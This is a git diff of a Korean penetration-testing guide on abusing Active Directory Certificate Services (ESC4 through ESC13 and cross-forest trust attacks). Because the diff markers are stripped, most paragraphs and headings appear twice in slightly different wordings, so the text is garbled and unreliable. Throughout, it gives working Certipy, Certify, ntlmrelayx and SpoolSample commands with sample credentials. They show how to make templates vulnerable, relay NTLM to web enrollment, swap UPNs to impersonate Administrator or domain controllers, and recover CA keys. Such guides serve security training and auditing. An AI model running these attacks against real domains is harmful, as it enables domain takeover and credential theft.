**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. 기본적으로 Certipy는 구성을 **ESC1에 취약하게** 만들기 위해 **덮어씁니다**. 또한 **구성을 복원하는 데 유용할** 구성을 저장하기 위해 **`-save-old` 매개변수를 지정할 수 있습니다**.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -160,27 +160,27 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
```
## 취약한 PKI 객체 접근 제어 - ESC5
## Vulnerable PKI Object Access Control - ESC5
### 설명
### Explanation
인증서 템플릿과 인증 기관을 넘어서는 여러 객체를 포함하는 ACL 기반 관계의 광범위한 웹은 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 보안에 상당한 영향을 미칠 수 있는 이러한 객체는 다음과 같습니다:
상호 연결된 ACL 기반 관계의 광범위한 웹은 인증서 템플릿과 인증 기관을 넘어서는 여러 객체를 포함하며, 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 이러한 객체는 보안에 상당한 영향을 미칠 수 있으며, 다음을 포함합니다:
- S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 손상될 수 있는 CA 서버의 AD 컴퓨터 객체.
- CA 서버의 AD 컴퓨터 객체는 S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 손상될 수 있습니다.
- CA 서버의 RPC/DCOM 서버.
- 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내의 모든 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 등록 서비스 컨테이너와 같은 컨테이너 및 객체가 포함되지만 이에 국한되지 않습니다.
낮은 권한의 공격자가 이러한 중요한 구성 요소 중 하나를 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.
저권한 공격자가 이러한 중요한 구성 요소 중 하나를 제어하게 되면 PKI 시스템의 보안이 손상될 수 있습니다.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
### 설명
### Explanation
[**CQure Academy 포스트**](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 설명한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 의미를 다룹니다. 이 구성은 인증 기관(CA)에서 활성화되면 **모든 요청**에 대해 **사용자 정의 값**을 **주체 대체 이름**에 포함할 수 있도록 허용합니다. 따라서 이 조항은 **침입자**가 도메인 **인증**을 위해 설정된 **모든 템플릿**을 통해 등록할 수 있게 하며, 특히 표준 사용자 템플릿과 같이 **비권한** 사용자 등록이 가능한 템플릿에 대해 가능합니다. 결과적으로, 인증서를 확보하여 침입자가 도메인 관리자 또는 도메인 내의 **다른 활성 엔터티**로 인증할 수 있게 됩니다.
[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 설명한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 의미를 다룹니다. 이 구성은 인증 기관(CA)에서 활성화되면 **사용자 정의 값**을 **주체 대체 이름**에 포함할 수 있도록 허용합니다. 이는 Active Directory®에서 구성된 요청을 포함하여 **모든 요청**에 해당합니다. 결과적으로, 이 조항은 **침입자**가 도메인 **인증**을 위해 설정된 **모든 템플릿**을 통해 등록할 수 있도록 허용합니다. 특히, 표준 사용자 템플릿과 같이 **비특권** 사용자 등록이 가능한 템플릿이 해당됩니다. 결과적으로, 인증서를 확보하여 침입자가 도메인 관리자 또는 도메인 내의 **다른 활성 엔터티**로 인증할 수 있게 됩니다.
**참고**: `certreq.exe`에서 `-attrib "SAN:"` 인수를 통해 인증서 서명 요청(CSR)에 **대체 이름**을 추가하는 방법은 ESC1의 SAN 악용 전략과 **대조**를 이룹니다. 여기서의 차이는 **계정 정보가 캡슐화되는 방식**에 있으며, 확장 대신 인증서 속성 내에 포함됩니다.
**Note**: `certreq.exe`에서 `-attrib "SAN:"` 인수를 통해 인증서 서명 요청(CSR)에 **대체 이름**을 추가하는 방법은 ESC1의 SAN 악용 전략과 **대조적**입니다. 여기서의 차이는 **계정 정보가 캡슐화되는 방식**에 있습니다—확장자가 아닌 인증서 속성 내에 포함됩니다.
### 남용
### Abuse
설정이 활성화되었는지 확인하기 위해 조직은 `certutil.exe`와 함께 다음 명령을 사용할 수 있습니다:
```bash
@ -190,7 +190,7 @@ certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
[**Certify**](https://github.com/GhostPack/Certify) 및 [**Certipy**](https://github.com/ly4k/Certipy)와 같은 도구는 이 잘못된 구성을 감지하고 이를 악용할 수 있습니다:
[**Certify**](https://github.com/GhostPack/Certify)와 [**Certipy**](https://github.com/ly4k/Certipy)와 같은 도구는 이 잘못된 구성을 감지하고 이를 악용할 수 있습니다:
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -203,12 +203,12 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
이 구성을 귀하의 환경에서 비활성화하려면, 플래그를 다음과 같이 제거할 수 있습니다:
이 환경에서 이 구성을 비활성화하려면, 플래그를 다음과 같이 제거할 수 있습니다:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> 2022년 5월 보안 업데이트 이후, 새로 발급된 **certificates**는 **requester's `objectSid` property**를 포함하는 **security extension**을 포함합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 **requester's `objectSid`**를 반영하며, SAN은 반영하지 않습니다.\
> 2022년 5월 보안 업데이트 이후, 새로 발급된 **certificates**는 **requester's `objectSid` property**를 포함하는 **security extension**을 포함합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 **requester's `objectSid`**를 반영하며, SAN이 아닙니다.\
> ESC6를 악용하기 위해서는 시스템이 ESC10(Weak Certificate Mappings)에 취약해야 하며, 이는 **새로운 security extension**보다 **SAN**을 우선시합니다.
## 취약한 인증서 기관 접근 제어 - ESC7
@ -225,14 +225,14 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuth
#### 남용
인증 기관에서 **`ManageCA`** 권한을 보유하면 주체가 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 여기에는 SAN 사양을 모든 템플릿에서 허용하기 위해 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하는 것이 포함되며, 이는 도메인 상승의 중요한 측면입니다.
인증 기관에서 **`ManageCA`** 권한을 가지면 주체가 PSPKI를 사용하여 원격으로 설정을 조작할 수 있습니다. 여기에는 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그를 전환하여 모든 템플릿에서 SAN 지정을 허용하는 것이 포함되며, 이는 도메인 상승의 중요한 측면입니다.
이 프로세스의 단순화는 PSPKI의 **Enable-PolicyModuleFlag** cmdlet을 사용하여 직접 GUI 상호작용 없이 수정할 수 있습니다.
**`ManageCertificates`** 권한을 보유하면 보류 중인 요청을 승인할 수 있어 "CA 인증서 관리자 승인" 보호 장치를 효과적으로 우회할 수 있습니다.
**`ManageCertificates`** 권한을 소유하면 보류 중인 요청을 승인할 수 있어 "CA 인증서 관리자 승인" 보호 장치를 효과적으로 우회할 수 있습니다.
**Certify** 및 **PSPKI** 모듈의 조합을 사용하여 인증서를 요청, 승인 및 다운로드할 수 있습니다:
```powershell
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
@ -287,7 +287,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
```
이 공격을 위한 전제 조건을 충족했다면, **`SubCA` 템플릿을 기반으로 인증서를 요청하는 것**부터 시작할 수 있습니다.
**이 요청은 거부될 것입니다**, 하지만 우리는 개인 키를 저장하고 요청 ID를 기록할 것입니다.
**이 요청은 거부될 것입니다**, 하지만 우리는 개인 키를 저장하고 요청 ID를 기록해 두겠습니다.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -299,14 +299,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
우리의 **`Manage CA` 및 `Manage Certificates`**를 사용하여 `ca` 명령과 `-issue-request <request ID>` 매개변수를 사용하여 **실패한 인증서** 요청을 **발급할 수 있습니다**.
우리의 **`Manage CA` 및 `Manage Certificates`**를 사용하여 **실패한 인증서** 요청을 `ca` 명령과 `-issue-request <request ID>` 매개변수로 **발급할 수 있습니다**.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
마지막으로, `req` 명령과 `-retrieve <request ID>` 매개변수를 사용하여 **발급된 인증서를 검색**할 수 있습니다.
마지막으로, `req` 명령어와 `-retrieve <request ID>` 매개변수를 사용하여 **발급된 인증서**를 **가져올** 수 있습니다.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -323,22 +323,22 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Explanation
> [!NOTE]
> **AD CS가 설치된** 환경에서, **웹 등록 엔드포인트가 취약**하고 적어도 하나의 **인증서 템플릿이 게시**되어 **도메인 컴퓨터 등록 및 클라이언트 인증**을 허용하는 경우(기본 **`Machine`** 템플릿과 같은), **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 손상될 수 있습니다**!
> **AD CS가 설치된** 환경에서는 **취약한 웹 등록 엔드포인트**가 존재하고, **도메인 컴퓨터 등록 및 클라이언트 인증**을 허용하는 **인증서 템플릿이 게시**된 경우, **스풀러 서비스가 활성화된 모든 컴퓨터가 공격자에 의해 손상될 수 있습니다**!
AD CS는 관리자가 설치할 수 있는 추가 서버 역할을 통해 제공되는 여러 **HTTP 기반 등록 방법**을 지원합니다. HTTP 기반 인증서 등록을 위한 이러한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. 공격자는 **손상된 머신에서, 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 접근하여 **`User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서 요청**을 할 수 있습니다.
AD CS는 관리자가 설치할 수 있는 추가 서버 역할을 통해 제공되는 여러 **HTTP 기반 등록 방법**을 지원합니다. HTTP 기반 인증서 등록을 위한 이러한 인터페이스는 **NTLM 릴레이 공격**에 취약합니다. 공격자는 **손상된 머신에서 인바운드 NTLM을 통해 인증하는 모든 AD 계정을 가장할 수 있습니다**. 피해자 계정을 가장하는 동안, 공격자는 이러한 웹 인터페이스에 접근하여 **`User` 또는 `Machine` 인증서 템플릿을 사용하여 클라이언트 인증서 요청**을 할 수 있습니다.
- **웹 등록 인터페이스**(`http://<caserver>/certsrv/`에서 사용할 수 있는 오래된 ASP 애플리케이션)는 기본적으로 HTTP만 지원하며, NTLM 릴레이 공격에 대한 보호를 제공하지 않습니다. 또한, Authorization HTTP 헤더를 통해 NTLM 인증만 명시적으로 허용하여 Kerberos와 같은 더 안전한 인증 방법을 적용할 수 없게 만듭니다.
- **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 Authorization HTTP 헤더를 통해 협상 인증을 지원합니다. 협상 인증은 **Kerberos와 NTLM**을 모두 지원하여 공격자가 릴레이 공격 중에 **NTLM으로 다운그레이드**할 수 있게 합니다. 이러한 웹 서비스는 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 **NTLM 릴레이 공격으로부터 보호되지 않습니다**. HTTPS 서비스에 대한 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때만 가능합니다. 불행히도, AD CS는 IIS에서 채널 바인딩에 필요한 인증에 대한 확장 보호를 활성화하지 않습니다.
- **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 Authorization HTTP 헤더를 통해 협상 인증을 지원합니다. 협상 인증은 **Kerberos와 NTLM**을 모두 지원하여 공격자가 릴레이 공격 중에 **NTLM으로 다운그레이드**할 수 있게 합니다. 이러한 웹 서비스는 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 **NTLM 릴레이 공격으로부터 보호되지 않습니다**. HTTPS 서비스에 대한 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때만 가능합니다. 불행히도, AD CS는 채널 바인딩에 필요한 IIS에서 인증에 대한 확장 보호를 활성화하지 않습니다.
NTLM 릴레이 공격의 일반적인 **문제**는 **NTLM 세션의 짧은 지속 시간**과 공격자가 **NTLM 서명을 요구하는 서비스와 상호작용할 수 없는 것**입니다.
NTLM 릴레이 공격의 일반적인 **문제**는 **NTLM 세션의 짧은 지속 시간**과 **NTLM 서명을 요구하는 서비스와 상호작용할 수 없는 공격자의 능력**입니다.
그럼에도 불구하고, 이 제한은 NTLM 릴레이 공격을 이용하여 사용자의 인증서를 획득함으로써 극복됩니다. 인증서의 유효 기간이 세션의 지속 시간을 결정하며, 인증서는 **NTLM 서명을 요구하는 서비스와 함께 사용될 수 있습니다**. 도난당한 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
그럼에도 불구하고, 이 제한은 NTLM 릴레이 공격을 이용하여 사용자의 인증서를 획득함으로써 극복됩니다. 인증서의 유효 기간이 세션의 지속 시간을 결정하며, 인증서는 **NTLM 서명을 요구하는 서비스**와 함께 사용할 수 있습니다. 도난당한 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
{{#ref}}
account-persistence.md
{{#endref}}
NTLM 릴레이 공격의 또 다른 제한은 **공격자가 제어하는 머신이 피해자 계정에 의해 인증되어야 한다는 것**입니다. 공격자는 이 인증을 기다리거나 **강제로** 시도할 수 있습니다:
NTLM 릴레이 공격의 또 다른 제한은 **공격자가 제어하는 머신이 피해자 계정에 의해 인증되어야 한다는 점**입니다. 공격자는 이 인증을 기다리거나 **강제로** 시도할 수 있습니다:
{{#ref}}
../printers-spooler-service-abuse.md
@ -352,18 +352,18 @@ Certify.exe cas
```
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
`msPKI-Enrollment-Servers` 속성은 기업 인증 기관(CA)이 인증서 등록 서비스(CES) 엔드포인트를 저장하는 데 사용됩니다. 이러한 엔드포인트는 도구 **Certutil.exe**를 사용하여 구문 분석하고 나열할 수 있습니다:
`msPKI-Enrollment-Servers` 속성은 기업 인증 기관(CA)이 인증서 등록 서비스(CES) 엔드포인트를 저장하는 데 사용됩니다. 이러한 엔드포인트는 **Certutil.exe** 도구를 사용하여 구문 분석하고 나열할 수 있습니다:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
<figure><img src="../../../images/image (757).png" alt=""><figcaption></figcaption></figure>
```powershell
```bash
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
#### Certify를 이용한 악용
#### Certify 악용하기
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
Certipy는 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 인증서 요청을 합니다. 이는 릴레이되는 계정 이름이 `$`로 끝나는지에 따라 결정됩니다. 대체 템플릿을 지정하려면 `-template` 매개변수를 사용하면 됩니다.
Certipy는 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 인증서 요청을 합니다. 이는 릴레이되는 계정 이름이 `$`로 끝나는지 여부에 따라 결정됩니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 수행할 수 있습니다.
그런 다음 [PetitPotam](https://github.com/ly4k/PetitPotam)과 같은 기술을 사용하여 인증을 강제할 수 있습니다. 도메인 컨트롤러를 다룰 때는 `-template DomainController`를 지정해야 합니다.
```bash
@ -399,18 +399,18 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Explanation
새로운 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)는 **`msPKI-Enrollment-Flag`**에 대해 ESC9로 언급되며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장**을 포함하는 것을 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement`가 `1`로 설정될 때(기본 설정) 관련성이 있으며, 이는 `2`로 설정된 경우와 대조됩니다. ESC9가 없으면 요구 사항이 변경되지 않기 때문에 Kerberos 또는 Schannel에 대한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 그 관련성이 높아집니다(ESC10 참조).
새로운 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)는 **`msPKI-Enrollment-Flag`**에 대해 ESC9로 언급되며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장**을 포함하는 것을 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement`가 `1`(기본 설정)으로 설정될 때 관련성이 있으며, 이는 `2`로 설정된 경우와 대조됩니다. ESC9가 없으면 요구 사항이 변경되지 않기 때문에 Kerberos 또는 Schannel에 대한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 그 중요성이 높아집니다(ESC10과 같이).
이 플래그의 설정이 중요해지는 조건은 다음과 같습니다:
- `StrongCertificateBindingEnforcement`가 `2`로 조정되지 않거나(기본값은 `1`), `CertificateMappingMethods`에 `UPN` 플래그가 포함되어 있습니다.
- 인증서가 `msPKI-Enrollment-Flag` 설정 내에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 표시됩니다.
- 인증서에 의해 클라이언트 인증 EKU가 지정됩니다.
- 다른 계정을 손상시키기 위해 `GenericWrite` 권한이 사용 가능합니다.
- 다른 계정을 타협하기 위해 `GenericWrite` 권한이 사용 가능합니다.
### Abuse Scenario
`John@corp.local`이 `Jane@corp.local`에 대해 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`을 손상시키려는 목표를 가지고 있다고 가정해 보겠습니다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성되어 있습니다.
`John@corp.local`이 `Jane@corp.local`에 대해 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`을 타협할 목표를 가지고 있다고 가정해 보겠습니다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성되어 있습니다.
처음에 `Jane`의 해시는 `John`의 `GenericWrite` 덕분에 Shadow Credentials를 사용하여 획득됩니다:
```bash
@ -426,34 +426,34 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
인증서의 `userPrincipalName`이 “object SID” 없이 `Administrator`를 반영하는 것으로 기록됩니다.
인증서의 `userPrincipalName`이 `Administrator`를 반영하며, “object SID”가 없습니다.
`Jane`의 `userPrincipalName`은 원래의 `Jane@corp.local`로 되돌려집니다:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
발급된 인증서를 사용하여 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인 지정이 없기 때문에 명령에는 `-domain <domain>`이 포함되어야 합니다:
발급된 인증서로 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인 지정이 없기 때문에 명령어에는 `-domain <domain>`이 포함되어야 합니다:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
## 약한 인증서 매핑 - ESC10
## Weak Certificate Mappings - ESC10
### 설명
### Explanation
도메인 컨트롤러의 두 레지스트리 키 값이 ESC10에 의해 언급됩니다:
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 아래의 `CertificateMappingMethods`에 대한 기본 값은 `0x18` (`0x8 | 0x10`)이며, 이전에는 `0x1F`로 설정되어 있었습니다.
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 아래의 `StrongCertificateBindingEnforcement`에 대한 기본 설정은 `1`이며, 이전에는 `0`이었습니다.
**사례 1**
**Case 1**
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우.
**사례 2**
**Case 2**
`CertificateMappingMethods`에 `UPN` 비트(`0x4`)가 포함된 경우.
### 남용 사례 1
### Abuse Case 1
`StrongCertificateBindingEnforcement`가 `0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A는 계정 B를 손상시키기 위해 악용될 수 있습니다.
@ -491,7 +491,7 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
`Jane`이 기본 `User` 템플릿을 사용하여 클라이언트 인증을 위한 인증서를 요청합니다.
클라이언트 인증을 위한 인증서가 기본 `User` 템플릿을 사용하여 `Jane`으로 요청됩니다.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
관리자는 인증 기관을 "Yubico YubiHSM2"와 같은 외부 장치에 저장하도록 설정할 수 있습니다.
USB 장치가 CA 서버에 USB 포트를 통해 연결되거나 CA 서버가 가상 머신인 경우 USB 장치 서버에 연결된 경우, YubiHSM에서 키를 생성하고 활용하기 위해 Key Storage Provider에 대한 인증 키(때때로 "비밀번호"라고도 함)가 필요합니다.
USB 장치가 CA 서버에 USB 포트를 통해 연결되거나 CA 서버가 가상 머신인 경우 USB 장치 서버에 연결된 경우, YubiHSM에서 키를 생성하고 활용하기 위해 인증 키(때때로 "비밀번호"라고도 함)가 필요합니다.
이 키/비밀번호는 레지스트리의 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`에 평문으로 저장됩니다.
@ -589,12 +589,12 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
### 설명
`msPKI-Certificate-Policy` 속성은 인증서 템플릿에 발급 정책을 추가할 수 있게 해줍니다. 정책을 발급하는 책임이 있는 `msPKI-Enterprise-Oid` 객체는 PKI OID 컨테이너의 구성 명명 컨텍스트(CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 이 객체의 `msDS-OIDToGroupLink` 속성을 사용하여 정책을 AD 그룹에 연결할 수 있으며, 이를 통해 시스템은 인증서를 제시하는 사용자가 마치 그룹의 구성원인 것처럼 권한을 부여할 수 있습니다. [여기에서 참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
`msPKI-Certificate-Policy` 속성은 발급 정책을 인증서 템플릿에 추가할 수 있게 해줍니다. 정책을 발급하는 책임이 있는 `msPKI-Enterprise-Oid` 객체는 PKI OID 컨테이너의 구성 명명 컨텍스트(CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 정책은 이 객체의 `msDS-OIDToGroupLink` 속성을 사용하여 AD 그룹에 연결될 수 있으며, 이를 통해 시스템은 인증서를 제시하는 사용자가 그룹의 구성원인 것처럼 권한을 부여할 수 있습니다. [여기 참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
다시 말해, 사용자가 인증서를 등록할 수 있는 권한이 있고 인증서가 OID 그룹에 연결되어 있을 때, 사용자는 이 그룹의 권한을 상속받을 수 있습니다.
[Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1)를 사용하여 OIDToGroupLink를 찾습니다:
```powershell
```bash
Enumerating OIDs
------------------------
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
@ -615,26 +615,26 @@ OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.3025710.4393146.2181807.139243
OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
------------------------
```
### 남용 시나리오
### Abuse Scenario
사용자 권한을 찾아 `certipy find` 또는 `Certify.exe find /showAllPermissions`를 사용할 수 있습니다.
사용자가 `certipy find` 또는 `Certify.exe find /showAllPermissions`를 사용할 수 있는 권한을 찾습니다.
`John`이 `VulnerableTemplate`을 등록할 수 있는 권한이 있다면, 사용자는 `VulnerableGroup` 그룹의 권한을 상속받을 수 있습니다.
`John`이 `VulnerableTemplate`에 대한 등록 권한을 가지고 있다면, 사용자는 `VulnerableGroup` 그룹의 권한을 상속받을 수 있습니다.
단지 템플릿을 지정하기만 하면 OIDToGroupLink 권한이 있는 인증서를 받을 수 있습니다.
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## 인증서를 통한 포리스트 타협 설명 (수동태)
## Compromising Forests with Certificates Explained in Passive Voice
### 손상된 CA에 의한 포리스트 신뢰 파괴
### Breaking of Forest Trusts by Compromised CAs
**교차 포리스트 등록**을 위한 구성은 상대적으로 간단하게 이루어집니다. **루트 CA 인증서**는 리소스 포리스트에서 관리자가 **계정 포리스트에 게시**하고, 리소스 포리스트의 **엔터프라이즈 CA** 인증서는 **각 계정 포리스트의 `NTAuthCertificates` 및 AIA 컨테이너에 추가**됩니다. 이를 명확히 하자면, 이 구성은 **리소스 포리스트의 CA가 PKI를 관리하는 모든 다른 포리스트에 대한 완전한 제어 권한**을 부여합니다. 만약 이 CA가 **공격자에 의해 손상된다면**, 리소스 및 계정 포리스트의 모든 사용자에 대한 인증서가 **그들에 의해 위조될 수 있으며**, 이로 인해 포리스트의 보안 경계가 파괴될 수 있습니다.
**교차 포리스트 등록**을 위한 구성은 상대적으로 간단하게 이루어집니다. **리소스 포리스트의 루트 CA 인증서**는 관리자가 **계정 포리스트에 게시**하고, **리소스 포리스트의 엔터프라이즈 CA** 인증서는 **각 계정 포리스트의 `NTAuthCertificates` 및 AIA 컨테이너에 추가**됩니다. 이 arrangement는 **리소스 포리스트의 CA가 PKI를 관리하는 모든 다른 포리스트에 대한 완전한 제어 권한**을 부여합니다. 만약 이 CA가 **공격자에 의해 손상된다면**, 리소스 및 계정 포리스트의 모든 사용자에 대한 인증서가 **위조될 수 있으며**, 이로 인해 포리스트의 보안 경계가 깨질 수 있습니다.
### 외부 주체에게 부여된 등록 권한
### Enrollment Privileges Granted to Foreign Principals
다중 포리스트 환경에서는 **인증된 사용자 또는 외부 주체**(엔터프라이즈 CA가 속한 포리스트 외부의 사용자/그룹)에게 **등록 및 편집 권한**을 허용하는 인증서 템플릿을 **게시하는 엔터프라이즈 CA**에 대해 주의가 필요합니다.\
신뢰를 통해 인증이 이루어지면, **인증된 사용자 SID**가 AD에 의해 사용자의 토큰에 추가됩니다. 따라서 도메인에 **인증된 사용자 등록 권한을 허용하는 템플릿**이 있는 엔터프라이즈 CA가 있다면, **다른 포리스트의 사용자가 템플릿에 등록할 수 있는 가능성**이 있습니다. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여된다면**, **교차 포리스트 접근 제어 관계가 생성되어**, 한 포리스트의 주체가 **다른 포리스트의 템플릿에 등록할 수 있게 됩니다**.
신뢰를 통해 인증이 이루어지면, **인증된 사용자 SID**가 AD에 의해 사용자의 토큰에 추가됩니다. 따라서 도메인에 **인증된 사용자 등록 권한을 허용하는 템플릿**이 있는 엔터프라이즈 CA가 있다면, **다른 포리스트의 사용자가 템플릿에 등록될 수 있습니다**. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여된다면**, **교차 포리스트 접근 제어 관계가 생성되어**, 한 포리스트의 주체가 **다른 포리스트의 템플릿에 등록할 수 있게 됩니다**.
두 시나리오는 한 포리스트에서 다른 포리스트로의 **공격 표면 증가**로 이어집니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.

31
src/windows-hardening/active-directory-methodology/constrained-delegation.md
View File

@ -4,16 +4,16 @@
## Constrained Delegation
이를 통해 도메인 관리자는 **컴퓨터가 사용자 또는 컴퓨터를** **서비스**에 대해 **가장할 수 있도록** **허용**할 수 있습니다.
이를 사용하면 도메인 관리자가 **사용자 또는 컴퓨터를 가장**하여 어떤 **서비스**에 대해서도 컴퓨터를 **허용**할 수 있습니다.
